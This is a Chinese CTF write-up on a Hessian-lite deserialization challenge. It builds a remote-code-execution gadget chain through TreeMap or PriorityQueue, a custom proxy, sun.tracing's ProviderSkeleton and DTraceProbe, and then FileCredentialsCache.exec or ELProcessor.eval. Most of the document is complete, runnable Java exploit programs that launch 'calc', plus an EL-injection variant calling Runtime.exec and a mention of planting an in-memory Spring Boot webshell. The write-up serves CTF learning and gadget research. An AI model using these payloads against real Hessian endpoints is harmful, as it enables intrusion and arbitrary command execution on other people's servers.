1、环境依赖

给了个hessian反序列化的入口,同时hessian-lite-4.0.5是最新版的依赖

同时题目还给了一个自定义的代理类

2、最终payload

import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import org.example.labyrinth.model.CustomProxy;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.TreeMap;
import sun.security.krb5.internal.ccache.FileCredentialsCache;
import static cn.org.qwen.Util.createWithoutConstructor;
import static cn.org.qwen.Util.setFieldValue;

public class Exp {
    public static void main(String[] args) throws Exception {

        Method exec = FileCredentialsCache.class.getDeclaredMethod("exec", String.class);
        exec.setAccessible(true);
        Object dTraceProbe = getDTraceProbe(FileCredentialsCache.class,exec);

        HashMap map = new HashMap();
        Method compareTo = Comparable.class.getDeclaredMethod("compareTo", Object.class);
        map.put(compareTo, dTraceProbe);

        InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.MultiplexProvider"));
        setFieldValue(handler, "active", true);
        setFieldValue(handler, "providerType", Class.forName(Comparable.class.getName()));
        setFieldValue(handler, "probes", map);

        Object objCompareTo = new CustomProxy(handler, compareTo);

        deser(MyTreeMap(objCompareTo,"calc"));
    }
    public static Object getDTraceProbe(Object proxy, Method method) throws Exception {
        Object dTraceProbe = createWithoutConstructor(Class.forName("sun.tracing.dtrace.DTraceProbe"));
        setFieldValue(dTraceProbe,"proxy", proxy);
        setFieldValue(dTraceProbe,"implementing_method", method);
        return dTraceProbe;
    }

    public static void deser(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(baos);
        output.getSerializerFactory().setAllowNonSerializable(true);
        output.writeObject(o);
        output.flush();
        output.close();
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.getSerializerFactory().setAllowNonSerializable(true);
        input.readObject();
    }
    public static TreeMap<Object,Object> MyTreeMap(Object proxy, Object params) throws Exception {

        Class<?> e = Class.forName("java.util.TreeMap$Entry");
        Constructor<?> declaredConstructor1 = e.getDeclaredConstructor(Object.class, Object.class, e);
        declaredConstructor1.setAccessible(true);

        Object a = declaredConstructor1.newInstance(params, 1, null);

        Constructor<?> declaredConstructor2 = e.getDeclaredConstructor(Object.class, Object.class, e);
        declaredConstructor2.setAccessible(true);

        Object o1 = declaredConstructor2.newInstance(proxy, 2, a);

        Class<?> t = Class.forName("java.util.TreeMap");
        TreeMap treeMap = (TreeMap) t.newInstance();
        Field size = t.getDeclaredField("size");
        size.setAccessible(true);
        size.set(treeMap,2);

        Field root = t.getDeclaredField("root");
        root.setAccessible(true);
        root.set(treeMap,a);

        Field right = e.getDeclaredField("right");
        right.setAccessible(true);
        right.set(a,o1);
        return treeMap;
    }

}

3、分析

我们知道在hessian反序列化中,关键触发的地方是map.put

显然map.put
对于HashMap会触发key.hashCode()、key.equals(k),
对于TreeMap会触发key.compareTo()

‍

同时,题目开了setAllowNonSerializable(true),可以反序列化非 Serializable 的类

然后是自定义CustomProxy类,规定了m3的方法名要为compareTo

所以我们现在的目标就是构造这样的链子

in.readObject()->
TreeMap.put()->
Comparable.compareTo()->
CustomProxy.compareTo(o)->
InvocationHandler.invoke(this, m3, {o})->
ProviderSkeleton.invoke->
ProviderSkeleton.triggerProbe->
sun.tracing.dtrace.DTraceProbe.uncheckedTrigger->
method.invoke(proxy,args)->
构造方法(有参)

‍

4、构造TreeMap

在以前的Hessian+Groovy链其实就是以TreeMap作为起始的

原因如下:

序列化过程

当 Hessian 对这个反射构造好的 treeMap 进行序列化时,它会遍历 Map 中的元素。

TreeMap 的遍历顺序是中序遍历,也就是常说的左中右。

那么左节点是空的,就先读根节点,就是代理对象的构造方法参数。

然后读右节点,就是代理类。

‍

反序列化过程

Hessian 会先创建一个新的空 TreeMap,然后读取第一个,也就是代理对象的构造方法参数。

然后执行 treeMap.put(params, val)。

接着读取第二个

执行 treeMap.put(Proxy, val)。

由于此时的k是CustomProxy就会触发它的compareTo()方法,然后把t.key也就是代理对象的构造方法参数也一起传进去

‍

5、寻找动态代理

在CVE-2021-39149中,xstream有条链子是

java.util.LinkedHashSet
    java.lang.reflect.Proxy
        com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl
            sun.tracing.NullProvider
                sun.tracing.dtrace.DTraceProbe
                    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

主要通过动态代理了map类,使用的handler为CompositeInvocationHandlerImpl。

其中sun.tracing.NullProvider

class NullProvider extends ProviderSkeleton {

    NullProvider(Class<? extends Provider> type) {
        super(type);
    }

    protected ProbeSkeleton createProbe(Method m) {
        return new NullProbe(m.getParameterTypes());
    }
}

他没有invoker,进而调用父类sun.tracing.ProviderSkeleton的invoker方法,ProviderSkeleton他是一个抽象类。

它有四个子类,这里四个子类都没有实现invoker方法,所以这里四个只要没有active,providerType,probe 和父类一样的属性就可以拿来构造,因为本质是调用父类的invoker。

首先先判断一下代理类是否属于providerType,Provider的类型是interface。其实相当于判断是否是接口类型。

如果两者相等,将会来到triggerProbe方法

sun.tracing.ProviderSkeleton#triggerProbe

从probes获取ProbeSkeleton对象,然后调用uncheckedTrigger方法。

sun.tracing.ProbeSkeleton#uncheckedTrigger

他是一个abstract,一共四个实现类

可以看到DTraceProbe的uncheckedTrigger是反射调用,implementing_method,proxy都是fied,同时implementing_method和proxy也都是可控的点。

因此他最有可能利用,其余三个都不好进行利用。

通过以上分析,我们可以得出结论,只要把CustomProxy直接设置代理类为sun.tracing.ProviderSkeleton抽象类下面的四个实现类之一,然后对feid修改,使其走到triggerProbe,在触发DTraceProbe#uncheckedTrigger完成调用即可。

如果直接Runtime.getRuntime()的话它会被禁用,因此我们自定义实现一个类含有exec方法即可。

demo如下

public static void main(String[] args) throws Exception {
        Object dTraceProbe = getDTraceProbe(MyRuntime.class,MyRuntime.class.getMethod("exec", String.class));

        HashMap map = new HashMap();
        Method method = Comparable.class.getMethod("compareTo", Object.class);
        map.put(method, dTraceProbe);

        InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.NullProvider"));
        setFieldValue(handler,"active", true);
        setFieldValue(handler, "providerType",Class.forName(Comparable.class.getName()));
        setFieldValue(handler, "probes", map);

        String params = "calc";

        Object objCompareTo = new CustomProxy(handler, method);
        TreeMap treeMap =  MyTreeMap(objCompareTo,params);
        deser(treeMap);
    }

‍

6、寻找最终getter

那么整条链子其实就差最后一步了。我们要么就是找无参的构造方法,要么就是找能够利用的构造方法。

这里直接拿codeql扫一下jdk8里面存在有exec方法的类还有那些

import java

predicate isExec(Method method){
    exists(|method.hasName("exec"))
    and
    method.getNumberOfParameters() = 1
} // |操作符返回查询结果的数量,大于0则true

from Method method
where isExec(method)
select method.getName(), method.getDeclaringType().getName()

看了下jdk.nashorn.internal.objects.NativeRegExp#exec没看到什么能够利用的点。

sun.security.krb5.internal.ccache.FileCredentialsCache#exec实际上就像上面的MyRuntime.class,直接就出现了rce的点

因此payload如下

public static void main(String[] args) throws Exception {
        Method exec = FileCredentialsCache.class.getDeclaredMethod("exec", String.class);
        exec.setAccessible(true);
        Object dTraceProbe = getDTraceProbe(FileCredentialsCache.class,exec);

        HashMap map = new HashMap();
        Method method = Comparable.class.getMethod("compareTo", Object.class);
        map.put(method, dTraceProbe);

        InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.NullProvider"));
        setFieldValue(handler,"active", true);
        setFieldValue(handler, "providerType",Class.forName(Comparable.class.getName()));
        setFieldValue(handler, "probes", map);

        String params = "calc";

        Object objCompareTo = new CustomProxy(handler, method);
        TreeMap treeMap =  MyTreeMap(objCompareTo,params);

        deser(treeMap);
    }

或者打el表达式,如果题目不出网可以直接el表达式注入springboot内存马。

public static void main(String[] args) throws Exception {

        Class<?> elClass = Class.forName("javax.el.ELProcessor");

        Object elInstance = elClass.newInstance();
        Method evalMethod = elClass.getMethod("eval", String.class);

        Object dTraceProbe = getDTraceProbe(elInstance,evalMethod);

        HashMap map = new HashMap();
        Method method = Comparable.class.getMethod("compareTo", Object.class);
        map.put(method, dTraceProbe);

        InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.NullProvider"));
        setFieldValue(handler,"active", true);
        setFieldValue(handler, "providerType",Class.forName(Comparable.class.getName()));
        setFieldValue(handler, "probes", map);

        String params = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";

        Object objCompareTo = new CustomProxy(handler, method);
        TreeMap treeMap =  MyTreeMap(objCompareTo,params);

        deser(treeMap);
    }

整体感觉能够getter的方式还是有很多的。

‍

7、拓展

最后发现其实优先队列作为其实也是可以的。

public static void main(String[] args) throws Exception {

        Object dTraceProbe = createWithoutConstructor(Class.forName("sun.tracing.dtrace.DTraceProbe"));
        Method exec = FileCredentialsCache.class.getDeclaredMethod("exec", String.class);
        exec.setAccessible(true);

        setFieldValue(dTraceProbe,"proxy", FileCredentialsCache.class);
        setFieldValue(dTraceProbe,"implementing_method", exec);

        HashMap map = new HashMap();
        Method method = Comparable.class.getMethod("compareTo", Object.class);
        map.put(method, dTraceProbe);

        InvocationHandler handler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.NullProvider"));
        Object objCompareTo = new CustomProxy(handler, method);
        setFieldValue(handler,"active", true);
        setFieldValue(handler, "providerType",Class.forName(Comparable.class.getName()));
        setFieldValue(handler, "probes", map);


        PriorityQueue queue = new PriorityQueue(1 );

        setFieldValue(queue, "size", 2);

        setFieldValue(queue, "queue", new Object[]{"calc",objCompareTo});

        deser(queue);
    }

这里要注意先输入的是命令执行的字符串,然后再到代理。

接着我在想,能不能直接不用题目给的CustomProxy,然后我们直接用Proxy呢?

        Object proxy = Proxy.newProxyInstance(
                handler.getClass().getClassLoader(),
                new Class[]{Comparable.class},
                handler);

调试后发现

在最后的getNode方法,如果你first.key跟key不相等的话,最终就会返回null

左边是first.key右边是key

可以看到右边会多一个signature

最终调试半天也没有成功,算是副产物了。